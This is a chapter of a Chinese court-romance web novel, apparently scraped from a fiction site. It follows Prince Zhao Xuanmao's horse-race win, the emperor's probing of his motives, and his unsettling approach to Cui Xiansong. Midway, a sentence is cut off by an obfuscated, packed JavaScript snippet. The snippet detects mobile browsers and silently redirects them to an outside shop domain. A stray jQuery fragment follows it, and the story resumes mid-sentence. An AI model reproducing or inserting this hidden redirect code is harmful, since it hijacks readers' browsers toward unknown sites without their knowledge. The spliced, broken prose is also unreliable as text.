文趣网 > 其他小说 > 被阴湿皇叔觊觎后 > 13. 第 13 章
    一想到此刻崔仙送的目光会落在他身上,双腿夹着马腹疾驰。

    一骑绝尘,将几位兄长甩在身后。

    高台处,场内场外的内官、侍卫、宫女爆发出一阵又一阵的喝彩声,更有大胆的,直呼几王的封号摇旗呐喊助威,好不热闹。永泰帝紧盯着甩了其他兄弟半圈有余的赵煊茂,脸上笑容莫测:“没想到老六骑术这般好。”想到此前赵煊茂不论作什么都是中规中矩,毫不出彩,甚至昔年打仗时,他向几个儿子们允诺,他们能打到哪儿,便可将那些地方作为封地,赵煊茂也是选了贫寒的北地。

    他眸色深了深,如今这般大出风头,又是为何?

    赵煊茂跑了两圈后,勒马停在高台下。

    魁首是谁,毫无争议。

    视线投向高台,快速一扫,他的视线移开的太快,眼眸中只来得及存住崔仙送模糊的身影。她在看他吗?她应当在看他。嗡的一声,赵煊茂头晕目眩,近乎全身的血液都往脑中涌去,他几乎要失态了。可他不能,父皇还在上面看着他。

    赵天佑姗姗来迟,身后还跟着几个弟妹。

    他刚进跑马场,小顺子就把今日在跑马场发生的事情详细说了一遍,此刻他上了高台,走到永泰帝面前请安。

    永泰帝笑道:“你来迟了。方才你几个叔叔赛马,精彩的很啊。”

    赵天佑笑答:“那是孙儿来的不巧。”

    他朝看台下看去,六叔神色淡淡,虽夺得魁首,面上却不见喜色,心中不由感叹六叔定力十足,荣辱不惊,不喜形于色。其余几个皇叔依次策马至高台之下,神色各异。

    永泰帝笑看赵煊茂,那笑容中有几分深意:“六儿,今日赛马,你夺得魁首想要什么赏赐?”

    赵煊茂道:“恳请父皇将儿臣方才骑的那批马赏赐给儿臣。”

    场内寂静,永泰帝还等着他继续说下去,等了片刻也不见下文,惊诧道:“你只要这匹马?”他话中本就存了试探之意,可当他发觉赵煊茂真的没有存着别的心思后,心中又有些不快。他的儿子,为何这般没有出息:“既是所求,便如你所愿。”

    赵煊茂所求,怎会只是区区一匹马。

    他想要的,是崔仙送。

    可他真的开口,父皇就会应允吗。

    他心中早已知道答案,自是不会自取其辱。

    赵煊茂求马,也存了一点隐匿的心思。父皇赏赐给崔姑娘的马通体雪白,浑身上下没有一点杂色。赛马前去马厩选马时,他一眼便看中马厩中这匹黑色的马。一白一黑,成双成对。

    赛事已毕,永泰帝携众人走下高台,赵煊茂兄弟几个皆在台下垂首恭敬等着,他行至赵煊茂面前,道:“六儿,到我这儿来,我有些话想与你说。”

    霎时间,身后数道针尖似的目光落在身上。

    永泰帝短短一句话,便让他成为众矢之的。赵煊茂恭顺地走到永泰帝身旁,原本占据的这个位置的赵天佑退后半步,给他让出一个位置来。永泰帝闲庭信步地走着,用拉家常般的语气说道:“六儿何时练就这般骑术。”

    赵煊茂不敢隐瞒道:“此前随着舅舅在北地打仗,那时候练出来的。”

    永泰帝虽然允诺几个儿子各自去打自个儿的封地,却并未细究其中过程。皇子龙孙尊贵,谁敢让他们冒着生命危险上战场,与将士们共进退。所谓军功,不过将士们在前头出生入死,他们在后头白捡现成的。他细细打量这个从前总是被忽视的儿子,龙章凤姿,奇骨贯顶,心里定了一个主意。

    他转头对赵天佑道:“天佑上前来。”

    赵天佑行至另一侧,听永泰帝道:“你与你父王一样,好文不好武。你身子文弱,更应该练习武艺。”

    他俯首恭谨道:“孙儿记得了。”

    永泰帝说完又面向其他几个儿子道:“自登基以来,我枯坐在这皇宫里,每每想起从前快马横刀的日子,心中快意不已。今日一观,你们在外多年,这身武艺也未落下,我心甚慰。”

    其余四王见永泰帝此时真情流露,不免想起曾经与父皇东征西战的日子,眼圈不由泛红,一时间父慈子孝,其乐融融。

    正说着,一个太监匆忙赶来,给永泰帝和诸王请安后道:“太后娘娘命奴才来请永安郡主回去用午膳。”

    永泰帝这才察觉此时临近午时,已到用午膳的时辰,便对赵天灵道:“既然母后寻你,你便快快回永宁宫去吧。”又对身后几个儿子道:“近日政务繁忙,我也不留你们用膳,各自回家去吧。”说完摆驾离去,众人行礼恭送圣驾离去。

    圣驾远去后,众人散去。

    赵天灵分外不舍,崔仙送与她约定下次见面后,她才随着小太监离去。崔仙送本还想与赵天佑说几句话,可他今日带着几个弟妹,就是想说什么也不方便,只用一双眼睛默默地看着他。

    近月余未见,赵天佑也是思念崔仙送的,可政务繁忙,加上失去父亲的弟妹在府中实在可怜,他不由得承担起作兄长的责任,这份思念之情就被冲淡不少。他想上前与崔仙送说话时,身后的弟妹拉住他的衣袍,睁着着水汪汪地大眼睛看着他,怯怯道:“大哥,我饿了。”终究是对孩童的怜惜之情占了上风,赵天佑一咬牙道:“天慈他们年纪小,受不得饿,我先带他们回宫。”说完,他避开视线,不敢与崔仙送对视。

    好在崔仙送温柔体贴:“孩子要紧。”

    赵天佑目露感激之色,心中愧疚之情更甚,承诺下次补偿她。

    崔仙送立在原地,一直目送着他离去。

    待那道身影消失不见后,才转过身准备离开马场。却见濮阳王站在身后,距她三步以内。

    这个距离——

    有些太近了。

    崔仙送屈身行礼,借着行礼的动作悄悄退后两步:“殿下贵安。”

    “崔姑娘,不必多礼。”

    心尖自听到这声“崔姑娘”莫名颤动着,像有无数毛发般纤细的针在心口滑刺,密密麻麻,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17630451|206327||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    又疼又痒。

    一时间忘记了起身。

    再回过神,视野中突然伸来一双手,那双手骨节分明,右手食指指骨上套着一只翡翠扳指,崔仙送拿不住他是想扶自己起来,还是有什么别的意图,未免自作多情,也不想与这位濮阳王殿下多接触,遂假装没发现他的举动,起身时故作不经意间避开。

    他垂下眼,眸色沉沉,把她下意识避让的动作看得一清二楚。拇指不住地摩挲着扳指。他有些不对劲,脑海中分明没有出现过要去搀扶崔仙送的念头,身子自然而然地做出那个动作,就好像,身体里有什么记忆被唤醒似的。

    这位崔姑娘身上,有什么蹊跷。

    赵煊茂不加掩饰地盯着崔仙送,那如狼似虎的眼神似要将她生吞活剥,把她整个人从里到外,看得明明白白:“时辰尚早,不知崔姑娘有没有什么要紧事?”

    那目光太有侵略性,崔仙送避无可避,硬着头皮回应道:“殿下,眼下正是用午膳的时辰,臣女自然是要回府用午膳的。”

    赵煊茂早年在西北,与将士同吃同住,西北贫瘠,天寒地冻。粮食种下,一年才能收一回,常常是吃了上顿没下顿,也就养成饿了就吃的习惯,这个习惯直到今日也不曾改过来,不像在金陵,还会刻意规定哪个时辰用膳,他面不改色笑道:“我也打算出宫回府,恰好能与崔姑娘同行一段路程。”

    至此,崔仙送再不能说什么拒绝的话。

    二人一前一后走着,随从奴仆在不远处紧紧跟着,气氛格外沉默。

    “崔姑娘与天佑是如何相识的?”

    崔仙送察觉到濮阳王有话要与她说,在脑海中盘算了半天,这个问题实属意料之外。她不愿自己与清河郡王的事情成为他人口人的谈资,故而随意敷衍道:“因缘际会便认识了。”

    赵煊茂听出她话中的敷衍,便抛开这个问题继续问道:“我见崔姑娘骑术精湛,不知师从何人?”

    崔仙送想到已逝的爹娘,面容出现一丝悲伤:“幼时爹娘教我的。”

    随口一提便戳中了她的伤心处,赵煊茂觉得自己今日格外笨嘴拙舌,有心想说些什么缓和气氛。恰巧此时已至宫门处,崔仙送屈身行礼道:“殿下,家中已派了马车相迎,臣女就此告辞。”

    赵煊茂不便挽留,点头回应。

    崔仙送被婢女搀扶着上了马车,车帘放下后,隔绝了他的视线。

    这时,赵安牵着黑马走了过来:“殿下。”

    赵煊茂的视线落在马上道:“回府吧。”

    回到府邸中,赵安将马牵至马厩安置,赵煊茂回到房中,小贵子忙上前来伺候,他一边帮赵煊茂脱去外衣一边道:“殿下,奴才最近听到一件事。”

    赵煊茂回头看他,似笑非笑道:“什么事说的吞吞吐吐的。”

    他将小贵子当做自己人,这几日与赵安谈论政务时也并未刻意避开他,甚至看出小贵子聪明机灵,命管家为他找来些启蒙书,命他读书识字。